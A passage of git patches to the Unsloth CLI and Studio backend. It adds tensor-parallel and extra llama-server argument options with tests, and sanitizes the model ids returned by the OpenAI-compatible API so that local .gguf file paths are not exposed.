         model_identifier = model_config.identifier,
         is_vision = model_config.is_vision,
         n_ctx = max_seq_length,
     )
-    if model_config.gguf_hf_repo:
-        loaded = llama_backend.load_model(
-            hf_repo = model_config.gguf_hf_repo, hf_token = hf_token, **common
+
+    async def _attempt_gguf_load(
+        requested_tensor_parallel: bool, attempt_extra_args: Optional[List[str]]
+    ) -> bool:
+        attempt_common = dict(
+            common,
+            tensor_parallel = requested_tensor_parallel,
+            extra_args = attempt_extra_args,
         )
-    else:
-        loaded = llama_backend.load_model(
+        if model_config.gguf_hf_repo:
+            return llama_backend.load_model(
+                hf_repo = model_config.gguf_hf_repo,
+                hf_token = hf_token,
+                **attempt_common,
+            )
+        return llama_backend.load_model(
             gguf_path = model_config.gguf_file,
             mmproj_path = model_config.gguf_mmproj_file,
             mtp_draft_path = model_config.gguf_mtp_file,
-            **common,
+            **attempt_common,
         )
+
+    loaded = asyncio.run(
+        load_with_tensor_fallback(
+            _attempt_gguf_load,
+            requested_tensor = tensor_parallel,
+            extra_args = extra_args,
+            label = model_config.identifier,
+        )
+    )
     if not loaded:
         typer.echo("Model load failed", err = True)
         raise typer.Exit(code = 1)
@@ -245,6 +283,8 @@ def load_chat_backend(
     hf_token: Optional[str],
     max_seq_length: int,
     load_in_4bit: bool,
+    tensor_parallel: bool = False,
+    llama_extra_args: Optional[List[str]] = None,
     model_config = None,
     fresh_backend: bool = False,
 ):
@@ -259,7 +299,13 @@ def load_chat_backend(
     typer.echo(f"Loading {model}", err = True)
 
     if model_config.is_gguf:
-        return _load_gguf_backend(model_config, hf_token = hf_token, max_seq_length = max_seq_length)
+        return _load_gguf_backend(
+            model_config,
+            hf_token = hf_token,
+            max_seq_length = max_seq_length,
+            tensor_parallel = tensor_parallel,
+            llama_extra_args = llama_extra_args,
+        )
 
     if fresh_backend:
         ensure_studio_backend_path()
@@ -447,18 +493,31 @@ class HttpChatBackend:
         # No redirects: this carries a bearer token (see urlopen_no_redirect).
         return urlopen_no_redirect(request, timeout = timeout)
 
-    def ensure_loaded(self, model: str, *, hf_token, max_seq_length, load_in_4bit) -> None:
+    def ensure_loaded(
+        self,
+        model: str,
+        *,
+        hf_token,
+        max_seq_length,
+        load_in_4bit,
+        tensor_parallel: bool = False,
+        llama_extra_args: Optional[List[str]] = None,
+    ) -> None:
         typer.echo(f"Loading {model} on the Studio server", err = True)
+        payload = {
+            "model_path": model,
+            "hf_token": hf_token,
+            "max_seq_length": max_seq_length,
+            "load_in_4bit": load_in_4bit,
+            "tensor_parallel": tensor_parallel,
+        }
+        if llama_extra_args:
+            payload["llama_extra_args"] = llama_extra_args
         try:
             self._request(
                 "POST",
                 "/api/inference/load",
-                {
-                    "model_path": model,
-                    "hf_token": hf_token,
-                    "max_seq_length": max_seq_length,
-                    "load_in_4bit": load_in_4bit,
-                },
+                payload,
             ).close()
         except Exception as exc:
             typer.echo(f"Model load failed: {exc}", err = True)
@@ -538,7 +597,15 @@ class HttpChatBackend:
         pass
 
 
-def connect_studio_server(model: str, *, hf_token, max_seq_length, load_in_4bit):
+def connect_studio_server(
+    model: str,
+    *,
+    hf_token,
+    max_seq_length,
+    load_in_4bit,
+    tensor_parallel: bool = False,
+    llama_extra_args: Optional[List[str]] = None,
+):
     """Backend on a running Studio server, or None (caller loads locally)."""
     base_url = find_studio_server()
     if not base_url:
@@ -576,6 +643,11 @@ def connect_studio_server(model: str, *, hf_token, max_seq_length, load_in_4bit)
         return _refuse("couldn't self-issue a Studio token (is Studio set up here?).")
     backend = HttpChatBackend(base_url, token)
     backend.ensure_loaded(
-        model, hf_token = hf_token, max_seq_length = max_seq_length, load_in_4bit = load_in_4bit
+        model,
+        hf_token = hf_token,
+        max_seq_length = max_seq_length,
+        load_in_4bit = load_in_4bit,
+        tensor_parallel = tensor_parallel,
+        llama_extra_args = llama_extra_args,
     )
     return backend
diff --git a/unsloth_cli/commands/chat.py b/unsloth_cli/commands/chat.py
index c62916bc75..a483aeeb6c 100644
--- a/unsloth_cli/commands/chat.py
+++ b/unsloth_cli/commands/chat.py
@@ -1,7 +1,7 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-from typing import Optional
+from typing import List, Optional
 
 import typer
 from rich.console import Console
@@ -153,6 +153,22 @@ def chat(
     ),
     max_seq_length: int = typer.Option(4096, "--max-seq-length"),
     load_in_4bit: bool = typer.Option(True, "--load-in-4bit/--no-load-in-4bit"),
+    tensor_parallel: bool = typer.Option(
+        False,
+        "--tensor-parallel/--no-tensor-parallel",
+        help = (
+            "Split a GGUF across GPUs by tensor (--split-mode tensor) instead "
+            "of by layer. Ignored for non-GGUF models."
+        ),
+    ),
+    llama_extra_args: Optional[List[str]] = typer.Option(
+        None,
+        "--llama-extra-arg",
+        help = (
+            "Extra llama-server arg for GGUF models. Repeat for multiple "
+            "tokens, e.g. --llama-extra-arg=--top-k --llama-extra-arg 20."
+        ),
+    ),
     think: bool = typer.Option(
         False,
         "--think/--no-think",
@@ -190,7 +206,13 @@ def chat(
         err.print(f"--compare unavailable: {compare_blocked}", style = "red", markup = False)
         raise typer.Exit(code = 1)
 
-    load_opts = dict(hf_token = hf_token, max_seq_length = max_seq_length, load_in_4bit = load_in_4bit)
+    load_opts = dict(
+        hf_token = hf_token,
+        max_seq_length = max_seq_length,
+        load_in_4bit = load_in_4bit,
+        tensor_parallel = tensor_parallel,
+        llama_extra_args = llama_extra_args,
+    )
 
     # Prefer a running Studio server: instant starts, model shared with the UI.
     chat_backend = None if no_server else connect_studio_server(model, **load_opts)
diff --git a/unsloth_cli/commands/inference.py b/unsloth_cli/commands/inference.py
index 5dbc32c7d2..1401fa9e9e 100644
--- a/unsloth_cli/commands/inference.py
+++ b/unsloth_cli/commands/inference.py
@@ -1,7 +1,7 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-from typing import Optional
+from typing import List, Optional
 
 import typer
 
@@ -31,6 +31,22 @@ def inference(
     ),
     max_seq_length: int = typer.Option(2048, "--max-seq-length"),
     load_in_4bit: bool = typer.Option(True, "--load-in-4bit/--no-load-in-4bit"),
+    tensor_parallel: bool = typer.Option(
+        False,
+        "--tensor-parallel/--no-tensor-parallel",
+        help = (
+            "Split a GGUF across GPUs by tensor (--split-mode tensor) instead "
+            "of by layer. Ignored for non-GGUF models."
+        ),
+    ),
+    llama_extra_args: Optional[List[str]] = typer.Option(
+        None,
+        "--llama-extra-arg",
+        help = (
+            "Extra llama-server arg for GGUF models. Repeat for multiple "
+            "tokens, e.g. --llama-extra-arg=--top-k --llama-extra-arg 20."
+        ),
+    ),
     think: bool = typer.Option(
         False,
         "--think/--no-think",
@@ -55,7 +71,13 @@ def inference(
 
     # A running Studio server keeps the model warm between runs, which is
     # exactly what a one-shot command wants.
-    load_opts = dict(hf_token = hf_token, max_seq_length = max_seq_length, load_in_4bit = load_in_4bit)
+    load_opts = dict(
+        hf_token = hf_token,
+        max_seq_length = max_seq_length,
+        load_in_4bit = load_in_4bit,
+        tensor_parallel = tensor_parallel,
+        llama_extra_args = llama_extra_args,
+    )
     chat_backend = None if no_server else connect_studio_server(model, **load_opts)
     if chat_backend is None:
         chat_backend = load_chat_backend(model, **load_opts)
diff --git a/unsloth_cli/tests/test_inference_chat.py b/unsloth_cli/tests/test_inference_chat.py
index 770bd0db29..013b7c5a81 100644
--- a/unsloth_cli/tests/test_inference_chat.py
+++ b/unsloth_cli/tests/test_inference_chat.py
@@ -9,6 +9,7 @@ import inspect
 import sys
 import types
 from pathlib import Path
+from types import SimpleNamespace
 
 _REPO_ROOT = Path(__file__).resolve().parents[2]
 if str(_REPO_ROOT) not in sys.path:
@@ -16,6 +17,7 @@ if str(_REPO_ROOT) not in sys.path:
 
 
 import typer
+import pytest
 from rich.console import Console
 from typer.testing import CliRunner
 
@@ -43,6 +45,14 @@ def _chat_app():
     return cli
 
 
+def _inference_app():
+    from unsloth_cli.commands.inference import inference
+
+    cli = typer.Typer()
+    cli.command()(inference)
+    return cli
+
+
 def test_visible_text_passthrough_when_shown():
     text = "<think>reasoning</think>answer"
     assert visible_text(text, show_thinking = True) == text
@@ -81,6 +91,16 @@ def test_inference_think_defaults_off():
     assert "--think/--no-think" in (getattr(opt, "param_decls", None) or [])
 
 
+def test_inference_exposes_gguf_runtime_options():
+    from unsloth_cli.commands.inference import inference
+
+    tensor = _option(inference, "tensor_parallel")
+    assert "--tensor-parallel/--no-tensor-parallel" in (getattr(tensor, "param_decls", None) or [])
+
+    extra = _option(inference, "llama_extra_args")
+    assert "--llama-extra-arg" in (getattr(extra, "param_decls", None) or [])
+
+
 def test_chat_command_is_registered_with_options():
     params = inspect.signature(chatmod.chat).parameters
     assert "model" in params
@@ -94,6 +114,12 @@ def test_chat_command_is_registered_with_options():
     verbose = _option(chatmod.chat, "verbose")
     assert {"--verbose", "-v"} <= set(getattr(verbose, "param_decls", None) or [])
 
+    tensor = _option(chatmod.chat, "tensor_parallel")
+    assert "--tensor-parallel/--no-tensor-parallel" in (getattr(tensor, "param_decls", None) or [])
+
+    extra = _option(chatmod.chat, "llama_extra_args")
+    assert "--llama-extra-arg" in (getattr(extra, "param_decls", None) or [])
+
 
 class _FakeBackend:
     def __init__(self):
@@ -324,6 +350,243 @@ def test_http_backend_streams_cumulative_text(monkeypatch):
     assert out == ["He", "Hello"]
 
 
+def test_http_backend_load_forwards_gguf_runtime_options(monkeypatch):
+    backend = HttpChatBackend("http://localhost:8888", "token")
+    requests = []
+
+    class _OK:
+        def close(self):
+            pass
+
+    def fake_request(
+        method,
+        path,
+        payload = None,
+        timeout = None,
+    ):
+        requests.append((method, path, payload, timeout))
+        return _OK()
+
+    monkeypatch.setattr(backend, "_request", fake_request)
+
+    backend.ensure_loaded(
+        "org/model-GGUF",
+        hf_token = "hf_x",
+        max_seq_length = 8192,
+        load_in_4bit = False,
+        tensor_parallel = True,
+        llama_extra_args = ["--top-k", "20"],
+    )
+
+    assert requests == [
+        (
+            "POST",
+            "/api/inference/load",
+            {
+                "model_path": "org/model-GGUF",
+                "hf_token": "hf_x",
+                "max_seq_length": 8192,
+                "load_in_4bit": False,
+                "tensor_parallel": True,
+                "llama_extra_args": ["--top-k", "20"],
+            },
+            None,
+        )
+    ]
+
+
+def test_http_backend_load_sends_explicit_false_tensor_parallel(monkeypatch):
+    backend = HttpChatBackend("http://localhost:8888", "token")
+    requests = []
+
+    class _OK:
+        def close(self):
+            pass
+
+    monkeypatch.setattr(
+        backend,
+        "_request",
+        lambda method, path, payload = None, timeout = None: (
+            requests.append((method, path, payload, timeout)),
+            _OK(),
+        )[1],
+    )
+
+    backend.ensure_loaded(
+        "org/model-GGUF",
+        hf_token = None,
+        max_seq_length = 4096,
+        load_in_4bit = True,
+        tensor_parallel = False,
+    )
+
+    assert requests[0][2]["tensor_parallel"] is False
+
+
+def test_load_gguf_backend_forwards_local_runtime_options(monkeypatch):
+    import unsloth_cli._inference as inference
+
+    calls = []
+
+    class _FakeLlamaCppBackend:
+        def load_model(self, **kwargs):
+            calls.append(kwargs)
+            return True
+
+    fake_llama_cpp = types.ModuleType("core.inference.llama_cpp")
+    fake_llama_cpp.LlamaCppBackend = _FakeLlamaCppBackend
+    fake_args = types.ModuleType("core.inference.llama_server_args")
+    fake_args.validate_extra_args = lambda args: list(args or [])
+    fake_tensor_fallback = types.ModuleType("core.inference.tensor_fallback")
+
+    async def _passthrough(
+        attempt_load,
+        *,
+        requested_tensor,
+        extra_args,
+        label = "",
+        cancelled = None,
+    ):
+        return await attempt_load(requested_tensor, extra_args)
+
+    fake_tensor_fallback.load_with_tensor_fallback = _passthrough
+
+    monkeypatch.setitem(sys.modules, "core", types.ModuleType("core"))
+    monkeypatch.setitem(sys.modules, "core.inference", types.ModuleType("core.inference"))
+    monkeypatch.setitem(sys.modules, "core.inference.llama_cpp", fake_llama_cpp)
+    monkeypatch.setitem(sys.modules, "core.inference.llama_server_args", fake_args)
+    monkeypatch.setitem(sys.modules, "core.inference.tensor_fallback", fake_tensor_fallback)
+    monkeypatch.setattr(inference, "ensure_studio_backend_path", lambda: None)
+
+    config = SimpleNamespace(
+        gguf_variant = "Q4_K_M",
+        identifier = "org/model-GGUF",
+        is_vision = False,
+        gguf_hf_repo = "org/model-GGUF",
+    )
+
+    backend = inference._load_gguf_backend(
+        config,
+        hf_token = "hf_x",
+        max_seq_length = 8192,
+        tensor_parallel = True,
+        llama_extra_args = ["--top-k", "20"],
+    )
+
+    assert isinstance(backend, ChatBackend)
+    assert calls == [
+        {
+            "hf_repo": "org/model-GGUF",
+            "hf_token": "hf_x",
+            "hf_variant": "Q4_K_M",
+            "model_identifier": "org/model-GGUF",
+            "is_vision": False,
+            "n_ctx": 8192,
+            "tensor_parallel": True,
+            "extra_args": ["--top-k", "20"],
+        }
+    ]
+
+
+def test_load_gguf_backend_exits_cleanly_on_invalid_extra_args(monkeypatch):
+    import unsloth_cli._inference as inference
+
+    fake_llama_cpp = types.ModuleType("core.inference.llama_cpp")
+    fake_llama_cpp.LlamaCppBackend = object
+    fake_args = types.ModuleType("core.inference.llama_server_args")
+
+    def _raise(_args):
+        raise ValueError("llama-server flag '--model' is managed by Unsloth Studio")
+
+    fake_args.validate_extra_args = _raise
+    fake_tensor_fallback = types.ModuleType("core.inference.tensor_fallback")
+    fake_tensor_fallback.load_with_tensor_fallback = None
+
+    monkeypatch.setitem(sys.modules, "core", types.ModuleType("core"))
+    monkeypatch.setitem(sys.modules, "core.inference", types.ModuleType("core.inference"))
+    monkeypatch.setitem(sys.modules, "core.inference.llama_cpp", fake_llama_cpp)
+    monkeypatch.setitem(sys.modules, "core.inference.llama_server_args", fake_args)
+    monkeypatch.setitem(sys.modules, "core.inference.tensor_fallback", fake_tensor_fallback)
+    monkeypatch.setattr(inference, "ensure_studio_backend_path", lambda: None)
+
+    config = SimpleNamespace(
+        gguf_variant = "Q4_K_M",
+        identifier = "org/model-GGUF",
+        is_vision = False,
+        gguf_hf_repo = "org/model-GGUF",
+    )
+
+    with pytest.raises(typer.Exit) as excinfo:
+        inference._load_gguf_backend(
+            config,
+            hf_token = "hf_x",
+            max_seq_length = 8192,
+            llama_extra_args = ["--model"],
+        )
+
+    assert excinfo.value.exit_code == 1
+
+
+def test_load_gguf_backend_uses_tensor_fallback(monkeypatch):
+    import unsloth_cli._inference as inference
+
+    calls = []
+    fallback_calls = []
+
+    class _FakeLlamaCppBackend:
+        def load_model(self, **kwargs):
+            calls.append(kwargs)
+            return kwargs["tensor_parallel"] is False
+
+    fake_llama_cpp = types.ModuleType("core.inference.llama_cpp")
+    fake_llama_cpp.LlamaCppBackend = _FakeLlamaCppBackend
+    fake_args = types.ModuleType("core.inference.llama_server_args")
+    fake_args.validate_extra_args = lambda args: list(args or [])
+    fake_tensor_fallback = types.ModuleType("core.inference.tensor_fallback")
+
+    async def _fallback(
+        attempt_load,
+        *,
+        requested_tensor,
+        extra_args,
+        label = "",
+        cancelled = None,
+    ):
+        fallback_calls.append((requested_tensor, extra_args, label))
+        ok = await attempt_load(requested_tensor, extra_args)
+        if ok:
+            return True
+        return await attempt_load(False, ["--split-mode", "layer"])
+
+    fake_tensor_fallback.load_with_tensor_fallback = _fallback
+
+    monkeypatch.setitem(sys.modules, "core", types.ModuleType("core"))
+    monkeypatch.setitem(sys.modules, "core.inference", types.ModuleType("core.inference"))
+    monkeypatch.setitem(sys.modules, "core.inference.llama_cpp", fake_llama_cpp)
+    monkeypatch.setitem(sys.modules, "core.inference.llama_server_args", fake_args)
+    monkeypatch.setitem(sys.modules, "core.inference.tensor_fallback", fake_tensor_fallback)
+    monkeypatch.setattr(inference, "ensure_studio_backend_path", lambda: None)
+
+    config = SimpleNamespace(
+        gguf_variant = "Q4_K_M",
+        identifier = "org/model-GGUF",
+        is_vision = False,
+        gguf_hf_repo = "org/model-GGUF",
+    )
+
+    backend = inference._load_gguf_backend(
+        config,
+        hf_token = "hf_x",
+        max_seq_length = 8192,
+        tensor_parallel = True,
+    )
+
+    assert isinstance(backend, ChatBackend)
+    assert fallback_calls == [(True, [], "org/model-GGUF")]
+    assert [call["tensor_parallel"] for call in calls] == [True, False]
+    assert calls[1]["extra_args"] == ["--split-mode", "layer"]
+
+
 def test_http_backend_merges_emoji_split_across_deltas(monkeypatch):
     backend = HttpChatBackend("http://localhost:8888", "token")
     response = _FakeSSEResponse(
@@ -365,6 +628,98 @@ def test_chat_prefers_running_studio_server(monkeypatch):
     assert closed == ["http"]
 
 
+def test_chat_forwards_gguf_runtime_options_to_loader(monkeypatch):
+    loads = []
+
+    class _FakeHttpBackend:
+        def close(self):
+            pass
+
+    monkeypatch.setattr(chatmod, "resolve_model_config", lambda *a, **k: _FakeConfig())
+    monkeypatch.setattr(
+        chatmod,
+        "connect_studio_server",
+        lambda model, **kwargs: (loads.append((model, kwargs)), _FakeHttpBackend())[1],
+    )
+    monkeypatch.setattr(chatmod, "load_chat_backend", lambda *a, **k: None)
+    monkeypatch.setattr(chatmod, "_compare_needs_second_model", lambda: False)
+
+    result = CliRunner().invoke(
+        _chat_app(),
+        [
+            "fake-model",
+            "--tensor-parallel",
+            "--llama-extra-arg=--top-k",
+            "--llama-extra-arg",
+            "20",
+        ],
+        input = "/exit\n",
+    )
+
+    assert result.exit_code == 0, result.output
+    assert loads == [
+        (
+            "fake-model",
+            {
+                "hf_token": None,
+                "max_seq_length": 4096,
+                "load_in_4bit": True,
+                "tensor_parallel": True,
+                "llama_extra_args": ["--top-k", "20"],
+            },
+        )
+    ]
+
+
+def test_inference_forwards_gguf_runtime_options_to_loader(monkeypatch):
+    from unsloth_cli.commands import inference as infermod
+
+    loads, streams, closed = [], [], []
+
+    class _FakeBackend:
+        def stream(self, messages, **kwargs):
+            streams.append((messages, kwargs))
+            return iter(["answer"])
+
+        def close(self):
+            closed.append(True)
+
+    monkeypatch.setattr(
+        infermod,
+        "connect_studio_server",
+        lambda model, **kwargs: (loads.append((model, kwargs)), _FakeBackend())[1],
+    )
+    monkeypatch.setattr(infermod, "load_chat_backend", lambda *a, **k: None)
+
+    result = CliRunner().invoke(
+        _inference_app(),
+        [
+            "fake-model",
+            "hello",
+            "--tensor-parallel",
+            "--llama-extra-arg=--top-k",
+            "--llama-extra-arg",
+            "20",
+        ],
+    )
+
+    assert result.exit_code == 0, result.output
+    assert loads == [
+        (
+            "fake-model",
+            {
+                "hf_token": None,
+                "max_seq_length": 2048,
+                "load_in_4bit": True,
+                "tensor_parallel": True,
+                "llama_extra_args": ["--top-k", "20"],
+            },
+        )
+    ]
+    assert streams[0][0] == [{"role": "user", "content": "hello"}]
+    assert closed == [True]
+
+
 def test_chat_server_mode_compare_loads_base_locally(monkeypatch):
     streamed, closed, base_loads = [], [], []
 

From 9451aef51e2639e4003a1b490048afed1471e51d Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Fri, 26 Jun 2026 12:07:53 -0700
Subject: [PATCH 125/306] studio: return a clean model id from the OpenAI API
 instead of the local .gguf path (#6518)

---------

Co-authored-by: oobabooga <112222186+oobabooga@users.noreply.github.com>
---
 studio/backend/core/inference/llama_cpp.py    |  9 +++
 .../core/inference/llama_server_args.py       |  5 ++
 studio/backend/core/inference/model_ids.py    | 57 +++++++++++++++++
 studio/backend/routes/inference.py            | 62 +++++++++++++++----
 studio/backend/tests/test_model_ids.py        | 53 ++++++++++++++++
 .../tests/test_openai_models_path_leak.py     | 45 ++++++++++++++
 6 files changed, 218 insertions(+), 13 deletions(-)
 create mode 100644 studio/backend/core/inference/model_ids.py
 create mode 100644 studio/backend/tests/test_model_ids.py
 create mode 100644 studio/backend/tests/test_openai_models_path_leak.py

diff --git a/studio/backend/core/inference/llama_cpp.py b/studio/backend/core/inference/llama_cpp.py
index 255fc4140f..31969afb14 100644
--- a/studio/backend/core/inference/llama_cpp.py
+++ b/studio/backend/core/inference/llama_cpp.py
@@ -5476,6 +5476,15 @@ class LlamaCppBackend:
                     "--no-context-shift",
                 ]
 
+                # Report a clean public model id (matching GET /v1/models) rather
+                # than the raw -m path in llama-server's own /v1/models and the
+                # "model" field of its chat/completions responses.
+                from core.inference.model_ids import public_model_id
+
+                _alias = public_model_id(self._model_identifier or model_path)
+                if _alias:
+                    cmd.extend(["--alias", _alias])
+
                 fully_gpu_offloaded = False
                 if use_fit:
                     cmd.extend(["--fit", "on"])
diff --git a/studio/backend/core/inference/llama_server_args.py b/studio/backend/core/inference/llama_server_args.py
index b42be5ee0d..f400d2ae40 100644
--- a/studio/backend/core/inference/llama_server_args.py
+++ b/studio/backend/core/inference/llama_server_args.py
@@ -25,6 +25,11 @@ _DENYLIST_GROUPS: tuple[frozenset[str], ...] = (
     # Model identity: Studio resolves it from LoadRequest; a second -m would
     # load a different model than Studio thinks it loaded.
     frozenset({"-m", "--model"}),
+    # Public model id: Studio sets a sanitized --alias so the OpenAI API never
+    # exposes the local .gguf path. A user-supplied alias is appended after
+    # Studio's and, with llama.cpp's last-wins parsing, would reintroduce the
+    # path leak this is meant to prevent.
+    frozenset({"-a", "--alias"}),
     frozenset({"-mu", "--model-url"}),
     frozenset({"-dr", "--docker-repo"}),
     frozenset({"-hf", "-hfr", "--hf-repo"}),
diff --git a/studio/backend/core/inference/model_ids.py b/studio/backend/core/inference/model_ids.py
new file mode 100644
index 0000000000..4d409cb4b5
--- /dev/null
+++ b/studio/backend/core/inference/model_ids.py
@@ -0,0 +1,57 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Public model identifiers for the OpenAI-compatible API.
+
+The exposed API must report a stable, clean model id rather than the absolute
+on-disk path of a local GGUF. The internal identifier for a direct local load is
+the absolute ``.gguf`` path, which leaks the host filesystem layout and is
+awkward for clients to round-trip. ``public_model_id`` maps such an internal
+identifier to a clean name while leaving Hugging Face repo ids (``org/model``)
+and already-clean names untouched.
+"""
+
+from __future__ import annotations
+
+import os
+from typing import Optional
+
+_GGUF_SUFFIX = ".gguf"
+
+
+def _looks_like_path(identifier: str) -> bool:
+    """True when *identifier* is a local filesystem path, not a HF repo id.
+
+    A repo id is ``org/model`` (a single forward slash, no leading separator, no
+    drive, no ``.gguf``). Anything ending in ``.gguf``, starting with a path
+    separator or a relative/home prefix (``./``, ``../``, ``~``), carrying a
+    Windows drive, or with three or more ``/`` segments is treated as a local
+    path.
+    """
+    if identifier.lower().endswith(_GGUF_SUFFIX):
+        return True
+    if identifier.startswith(("/", "\\", "./", "../", ".\\", "..\\", "~")):
+        return True
+    if len(identifier) >= 2 and identifier[1] == ":":  # Windows drive, e.g. C:\
+        return True
+    if identifier.count("/") >= 2 or "\\" in identifier:
+        return True
+    return False
+
+
+def public_model_id(identifier: Optional[str]) -> Optional[str]:
+    """Return a clean, path-free public id for *identifier*.
+
+    - Local GGUF path -> the file stem with ``.gguf`` stripped, e.g.
+      ``/srv/models/Qwen3-30B-A3B-Q4_K_M.gguf`` -> ``Qwen3-30B-A3B-Q4_K_M``.
+    - HF repo id (``org/model``) and already-clean names -> returned unchanged.
+    - ``None`` / empty -> returned unchanged.
+    """
+    if not identifier:
+        return identifier
+    if not _looks_like_path(identifier):
+        return identifier
+    name = os.path.basename(identifier.replace("\\", "/").rstrip("/"))
+    if name.lower().endswith(_GGUF_SUFFIX):
+        name = name[: -len(_GGUF_SUFFIX)]
+    return name or identifier
diff --git a/studio/backend/routes/inference.py b/studio/backend/routes/inference.py
index a9c85fa99a..1061542ca6 100644
--- a/studio/backend/routes/inference.py
+++ b/studio/backend/routes/inference.py
@@ -1107,6 +1107,7 @@ from auth.authentication import get_current_subject
 from state.tool_approvals import resolve_tool_decision
 
 from core.inference.key_exchange import decrypt_api_key
+from core.inference.model_ids import public_model_id
 from core.inference.api_monitor import api_monitor
 from core.inference.llama_http import nonstreaming_client
 from core.inference.providers import get_base_url
@@ -3703,7 +3704,7 @@ async def generate_audio(
     # Pick backend — both return (wav_bytes, sample_rate)
     llama_backend = get_llama_cpp_backend()
     if llama_backend.is_loaded and getattr(llama_backend, "_is_audio", False):
-        model_name = llama_backend.model_identifier
+        model_name = public_model_id(llama_backend.model_identifier)
         gen = lambda: llama_backend.generate_audio_response(
             text = text,
             audio_type = llama_backend._audio_type,
@@ -3721,7 +3722,7 @@ async def generate_audio(
         model_info = backend.models.get(backend.active_model_name, {})
         if not model_info.get("is_audio"):
             raise HTTPException(status_code = 400, detail = "Active model is not an audio model.")
-        model_name = backend.active_model_name
+        model_name = public_model_id(backend.active_model_name)
         gen = lambda: backend.generate_audio_response(
             text = text,
             temperature = payload.temperature,
@@ -4837,7 +4838,8 @@ async def openai_chat_completions(
         return response
 
     if using_gguf:
-        model_name = llama_backend.model_identifier or payload.model
+        # Echo a clean public id in the response, never the absolute .gguf path.
+        model_name = public_model_id(llama_backend.model_identifier) or payload.model
         if getattr(llama_backend, "_is_audio", False):
             if _wants_multiple_choices(payload):
                 _raise_unsupported_n("GGUF audio chat completions")
@@ -4852,7 +4854,9 @@ async def openai_chat_completions(
                 status_code = 400,
                 detail = "No model loaded. Call POST /inference/load first.",
             )
-        model_name = backend.active_model_name or payload.model
+        # Clean public id so the response never echoes a local path; the audio
+        # branch below receives this sanitized label too.
+        model_name = public_model_id(backend.active_model_name) or payload.model
         if _wants_multiple_choices(payload):
             _raise_unsupported_n("non-GGUF chat completions")
 
@@ -6401,7 +6405,9 @@ def _openai_model_objects() -> list[dict]:
     llama_backend = get_llama_cpp_backend()
     if llama_backend.is_loaded:
         entry = {
-            "id": llama_backend.model_identifier,
+            # Public id, never the absolute .gguf path (which leaks the host
+            # filesystem layout); see core.inference.model_ids.public_model_id.
+            "id": public_model_id(llama_backend.model_identifier),
             "object": "model",
             "created": _created,
             "owned_by": "local",
@@ -6422,7 +6428,7 @@ def _openai_model_objects() -> list[dict]:
     if backend.active_model_name:
         model_info = backend.models.get(backend.active_model_name, {})
         entry = {
-            "id": backend.active_model_name,
+            "id": public_model_id(backend.active_model_name),
             "object": "model",
             "created": _created,
             "owned_by": "local",
@@ -6463,9 +6469,24 @@ async def openai_retrieve_model(model_id: str, current_subject: str = Depends(ge
     model, or 404 model_not_found otherwise. Defined after the LIST route so
     it does not shadow it; ``{model_id:path}`` keeps ids with slashes intact.
     """
-    for model in _openai_model_objects():
+    objects = _openai_model_objects()
+    for model in objects:
         if model["id"] == model_id:
             return model
+    # Backward compatibility: a client may still send the legacy raw identifier
+    # (e.g. an absolute .gguf path cached from an older /v1/models). Resolve it to
+    # the clean object so it keeps working, without ever echoing the path back.
+    llama_backend = get_llama_cpp_backend()
+    backend = get_inference_backend()
+    for raw in (
+        llama_backend.model_identifier if llama_backend.is_loaded else None,
+        backend.active_model_name or None,
+    ):
+        if raw and model_id == raw:
+            clean = public_model_id(raw)
+            for model in objects:
+                if model["id"] == clean:
+                    return model
     raise HTTPException(
         status_code = 404,
         detail = openai_error_body(
@@ -7402,6 +7423,15 @@ async def _responses_stream(
     target_url = f"{llama_backend.base_url}/v1/chat/completions"
 
     async def event_generator():
+        # Clean public id for every response envelope. Prefer the loaded model's
+        # id so the stream agrees with /v1/models, chat/completions and the
+        # non-streaming twin; fall back to a sanitized payload.model (a legacy
+        # raw .gguf path is stripped, never echoed back).
+        _clean_model = (
+            public_model_id(getattr(llama_backend, "model_identifier", None))
+            or public_model_id(payload.model)
+            or payload.model
+        )
         full_text = ""
         full_reasoning = ""
         input_tokens = 0
@@ -7563,7 +7593,7 @@ async def _responses_stream(
                     "object": "response",
                     "created_at": created_at,
                     "status": "failed",
-                    "model": payload.model,
+                    "model": _clean_model,
                     "output": _snapshot_output(),
                     "usage": {
                         "input_tokens": input_tokens,
@@ -7587,7 +7617,7 @@ async def _responses_stream(
                     "object": "response",
                     "created_at": created_at,
                     "status": "in_progress",
-                    "model": payload.model,
+                    "model": _clean_model,
                     "output": [],
                     "usage": {"input_tokens": 0, "output_tokens": 0, "total_tokens": 0},
                 },
@@ -7627,7 +7657,7 @@ async def _responses_stream(
                             "object": "response",
                             "created_at": created_at,
                             "status": "failed",
-                            "model": payload.model,
+                            "model": _clean_model,
                             "output": [],
                             "error": {"code": 502, "message": _friendly_error(e)},
                         },
@@ -7653,7 +7683,7 @@ async def _responses_stream(
                             "object": "response",
                             "created_at": created_at,
                             "status": "failed",
-                            "model": payload.model,
+                            "model": _clean_model,
                             "output": [],
                             "error": {
                                 "code": resp.status_code,
@@ -8002,7 +8032,7 @@ async def _responses_stream(
                 "object": "response",
                 "created_at": created_at,
                 "status": "completed",
-                "model": payload.model,
+                "model": _clean_model,
                 "output": _snapshot_output(),
                 "usage": {
                     "input_tokens": input_tokens,
@@ -8274,7 +8304,13 @@ async def anthropic_messages(
             ),
         )
 
-    model_name = getattr(llama_backend, "model_identifier", None) or payload.model
+    # Clean public id so /v1/messages never echoes the local .gguf path (and a
+    # legacy raw path sent as payload.model is sanitized rather than returned).
+    model_name = (
+        public_model_id(getattr(llama_backend, "model_identifier", None))
+        or public_model_id(payload.model)
+        or payload.model
+    )
     message_id = f"msg_{uuid.uuid4().hex[:24]}"
 
     # ── Translate Anthropic → OpenAI ──────────────────────────
diff --git a/studio/backend/tests/test_model_ids.py b/studio/backend/tests/test_model_ids.py
new file mode 100644
index 0000000000..1b0cd927d8
--- /dev/null
+++ b/studio/backend/tests/test_model_ids.py
@@ -0,0 +1,53 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
